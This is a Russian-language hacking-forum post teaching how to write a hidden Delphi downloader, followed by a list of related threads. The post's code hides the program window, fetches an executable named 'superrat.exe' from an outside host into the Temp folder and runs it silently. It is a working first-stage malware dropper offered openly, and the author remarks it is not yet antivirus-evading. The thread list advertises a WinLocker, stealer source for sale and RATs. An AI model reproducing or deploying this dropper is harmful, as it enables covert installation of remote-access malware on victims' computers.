[delphi] downloader winapi

Admin

Original poster
Administrator
Сообщения
912
Реакции
730
Посетить сайт
Шаги будут обозначатся так - #1/2/3..ect

#1 Создаем новый проект в Delphi

#2 Сразу удаляем
Код:
{$APPTYPE CONSOLE}

тем самым делаем приложение полностью скрытым.

#3 Верхняя часть кода:
Код:
program PSHLoader;

uses
  WinInet,
  Windows;


#4 Процедура скачивания файла (паблик и не FUD по этому собственно и решил урок сделать :D)
Код:
procedure DLFile(DwFile, SvFile: string);
var
  Internat: pointer;
  Stabkrch: pointer;
  Stabbuff: pointer;
  Razmer, Baitis: dword;
  AutKarochi: dword;
begin
  try
    try
      Internat:=InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
      Stabkrch:=InternetOpenUrl(Internat, PChar(DwFile), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);
      if Stabkrch <> nil then
      begin
        InternetQueryDataAvailable(Stabkrch, Razmer, 0, 0);
        GetMem(Stabbuff, Razmer);
        try
          InternetReadFile(Stabkrch, Stabbuff, Razmer, Razmer);
          AutKarochi:=CreateFile(PChar(SvFile), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, $20, 0);
          if AutKarochi <> INVALID_HANDLE_VALUE then
          begin
            WriteFile(AutKarochi, Stabbuff^, Razmer, Razmer, nil);
            CloseHandle(AutKarochi);
          end
        finally
          FreeMem(Stabbuff);
        end;
      end;
    except
      // error
      Halt;
    end;
  finally
    InternetCloseHandle(Stabkrch);
  end;
  InternetCloseHandle(Internat);
end;


#5 Процедура получения системных папок

Код:
function GetEnvironmentVariable(const Name: string):string;
const
  BufSize = 1024;
var
  Len: Integer;
  Buffer: array[0..BufSize - 1] of Char;
begin
  Result := '';
  Len := windows.GetEnvironmentVariable(PChar(Name), @Buffer, BufSize);
  if Len < BufSize then
    SetString(Result, PChar(@Buffer), Len)
  else
  begin
    SetLength(Result, Len - 1);
    windows.GetEnvironmentVariable(PChar(Name), PChar(Result), Len);
  end;
end;



#6 Сам код (между begin .. end)
Код:
DLFile('http://jir.space/superrat.exe', GetEnvironmentVariable('Temp')+'\'+'downloaded.exe'); // скачиваем файл
WinExec(PAnsiChar(GetEnvironmentVariable('Temp')+'\'+'downloaded.exe'), SW_HIDE); // запускаем скачанный файл


Автор статьи - старый Psycho_O ©
 
Название темы
Автор Заголовок Раздел Ответы Дата
C Реверс-инжирниринг бота на Delphi, есть проблемы Вопросы и интересы 0
M [Delphi] Работа VKAPI, на примере бота С/C++ 3
T0pDro4eR Пишем WinLocker на Delphi С/C++ 0
Dages Нужна помощь по Delphi! ЗАПЛАЧУ! Другие ЯП 1
VAVAN Продам исход стиллера (ЯП Delphi) Продажа софта 1
AngelOfLove Потоки в Delphi. TThread С/C++ 0
AngelOfLove Delphi. Урок 17. Типы С/C++ 0
AngelOfLove Delphi. Урок 16. Исключительные ситуации С/C++ 0
AngelOfLove Delphi. Урок 15. Математические операции С/C++ 0
AngelOfLove Delphi. Урок 14. Работа со списками строк TStringList или «сложные» типы С/C++ 0
AngelOfLove Delphi. Урок 13. Работа со строками С/C++ 0
AngelOfLove Delphi. Урок 12. Преобразование числа в строку и строки в число С/C++ 0
AngelOfLove Delphi для начинающих. Урок 11. Процедуры и функции С/C++ 0
AngelOfLove Delphi для начинающих. Урок 10. Циклы. Работа с массивами С/C++ 0
AngelOfLove Delphi для начинающих – Урок 9 – Массивы С/C++ 0
AngelOfLove Delphi для начинающих – Урок 8 – Условия. Оператор Case С/C++ 0
AngelOfLove Delphi для начинающих – Урок 7 – Условия. Оператор IF С/C++ 0
AngelOfLove Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0
AngelOfLove Delphi для начинающих – Урок 5 – Работаем с компонентами С/C++ 0
AngelOfLove Delphi для начинающих – Урок 4 – Работа с переменными С/C++ 0
AngelOfLove Delphi для начинающих – Урок 3 – Создание переменных С/C++ 0
AngelOfLove Delphi для начинающих – Урок 2 — События С/C++ 0
AngelOfLove Delphi для начинающих — Урок 1 — Среда разработки Delphi С/C++ 0
AngelOfLove Простые шутку в DELPHI С/C++ 5
AngelOfLove Мои старые исходники на Delphi С/C++ 1
AngelOfLove Несколько шпор по Delphi =) С/C++ 3
L Загружаем компьютер другу. Delphi,rad studio Другие ЯП 0
/intactdev Country IP Ranges Generator v1.0 [Source][Delphi] Другие ЯП 3
BINGO_SHARK Помощь [Delphi] Другие ЯП 0
BINGO_SHARK VK Post Grabber [Source][Delphi] Другие ЯП 0
NickelBlack Multi-Downloader v0.1 - Download & Run File From URL Spam/DDOS/Malware 0
АнАлЬнАя ЧуПаКаБрА YandexDisk, DropmeFiles, Anonfiles DOWNLOADER Софт для работы с текстом/Другой софт 0
W Закрыто WhiteRAT | Rat, HVNC, downloader, joiner Malware, эксплойты, связки, крипт 3
ins1der DOWNLOADER (source) С/C++ 1
R Autoit Downloader FUD by Youssef Вирусология 1
obscure Content Downloader X1 (null) 2015 Бруты/Парсеры/Чекеры 1
top1c WinAPI C++ Вопросы и интересы 5
top1c WinAPI C++ Софт для работы с текстом/Другой софт 5
VipRin1 Перехват WinAPI Полезные статьи 0

Название темы